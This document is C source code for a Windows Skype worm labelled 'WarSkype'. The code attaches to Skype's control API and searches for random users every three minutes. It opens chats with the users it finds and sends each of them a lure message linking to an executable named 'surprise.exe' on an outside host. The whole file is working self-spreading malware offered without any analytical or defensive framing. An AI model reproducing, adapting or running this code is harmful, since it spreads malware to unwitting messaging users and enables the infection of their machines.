static UINT SkypeDiscover;
|
||||
static HWND Answer = NULL;
|
||||
static HWND SkypeWnd = NULL;
|
||||
static char rnd_nick[2];
|
||||
|
||||
/* generate random nicks to search */
|
||||
void GetRandNick(void)
|
||||
{
|
||||
|
||||
char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";
|
||||
|
||||
srand(GetTickCount());
|
||||
rnd_nick[0] = possible_searches[rand()%26];
|
||||
rnd_nick[1] = 0;
|
||||
|
||||
}
|
||||
|
||||
DWORD WINAPI S3arch(LPVOID Data)
|
||||
{
|
||||
char msg[128];
|
||||
COPYDATASTRUCT cds;
|
||||
|
||||
while(1)
|
||||
{
|
||||
GetRandNick();
|
||||
sprintf(msg,"SEARCH USERS %s",rnd_nick);
|
||||
cds.dwData= 0;
|
||||
cds.lpData= msg;
|
||||
cds.cbData= strlen(msg)+1;
|
||||
if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))
|
||||
{
|
||||
/* skype closed */
|
||||
ExitProcess(0);
|
||||
}
|
||||
Sleep((1000*60)*3); /* every 3 minutes */
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
PCOPYDATASTRUCT SkypeData = NULL;
|
||||
DWORD ThreadID;
|
||||
char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];
|
||||
COPYDATASTRUCT cds;
|
||||
|
||||
if(uMsg == SkypeAttach)
|
||||
{
|
||||
if(lParam == 0)
|
||||
{
|
||||
SkypeWnd = (HWND)wParam;
|
||||
CreateThread(NULL,0,&S3arch,0,0,&ThreadID);
|
||||
}
|
||||
}
|
||||
|
||||
if(uMsg == WM_COPYDATA)
|
||||
{
|
||||
if(wParam == SkypeWnd)
|
||||
{
|
||||
SkypeData=(PCOPYDATASTRUCT)lParam;
|
||||
|
||||
if(SkypeData != NULL)
|
||||
{
|
||||
|
||||
if(strstr(SkypeData->lpData,"CHAT "))
|
||||
{
|
||||
strtok(SkypeData->lpData," ");
|
||||
chat_id = strtok(NULL," ");
|
||||
/* this will send the url to everybody :) */
|
||||
sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);
|
||||
|
||||
cds.dwData= 0;
|
||||
cds.lpData= msg_cmd;
|
||||
cds.cbData= strlen(msg_cmd)+1;
|
||||
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
|
||||
}
|
||||
|
||||
if(strstr(SkypeData->lpData,"USERS "))
|
||||
{
|
||||
found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);
|
||||
|
||||
if(found_users == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);
|
||||
|
||||
if(chat_cmd == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
strcpy(found_users,(char *)SkypeData->lpData);
|
||||
|
||||
strcpy(found_users,found_users+6);
|
||||
|
||||
sprintf(chat_cmd,"CHAT CREATE %s",found_users);
|
||||
|
||||
/* contact them :) */
|
||||
cds.dwData= 0;
|
||||
cds.lpData= chat_cmd;
|
||||
cds.cbData= strlen(chat_cmd)+1;
|
||||
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
|
||||
|
||||
GlobalFree(found_users);
|
||||
GlobalFree(chat_cmd);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DefWindowProc( hWnd, uMsg , wParam, lParam);
|
||||
|
||||
return 1; /* != 0 */
|
||||
}
|
||||
|
||||
void MakeWindow(void)
|
||||
{
|
||||
WNDCLASS wndcls;
|
||||
|
||||
memset(&wndcls,0,sizeof(WNDCLASS));
|
||||
|
||||
wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";
|
||||
wndcls.lpfnWndProc = SkypeProc;
|
||||
|
||||
if(RegisterClass(&wndcls) == 0)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,
|
||||
(HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);
|
||||
|
||||
if(Answer == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
void RunSkype(void)
|
||||
{
|
||||
HKEY hKey;
|
||||
char skype_path[MAX_PATH];
|
||||
DWORD len = MAX_PATH;
|
||||
STARTUPINFO inf_prog;
|
||||
PROCESS_INFORMATION info_pr;
|
||||
int user_ret;
|
||||
|
||||
#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); \
|
||||
ExitProcess(0);
|
||||
|
||||
/* path of skype in registry */
|
||||
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Skype\\Phone",0,
|
||||
KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
|
||||
if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,
|
||||
&len) != ERROR_SUCCESS)
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
memset(&inf_prog,0,sizeof(STARTUPINFO));
|
||||
memset(&info_pr,0,sizeof(PROCESS_INFORMATION));
|
||||
|
||||
inf_prog.cb = sizeof(STARTUPINFO);
|
||||
inf_prog.dwFlags = STARTF_USESHOWWINDOW;
|
||||
inf_prog.wShowWindow = SW_SHOW;
|
||||
|
||||
if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,
|
||||
NULL,&inf_prog,&info_pr))
|
||||
{
|
||||
MessageBox(NULL,"Allow this program in skype!","Warning!"
|
||||
,MB_OK|MB_ICONWARNING);
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
}
|
||||
|
||||
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
MSG oMessage;
|
||||
SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");
|
||||
SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
|
||||
|
||||
RunSkype(); /* (try to) run skype */
|
||||
|
||||
if(SkypeAttach != 0 && SkypeDiscover != 0)
|
||||
{
|
||||
MakeWindow(); /* Create window */
|
||||
SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);
|
||||
|
||||
while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)
|
||||
{
|
||||
TranslateMessage(&oMessage);
|
||||
DispatchMessage(&oMessage);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user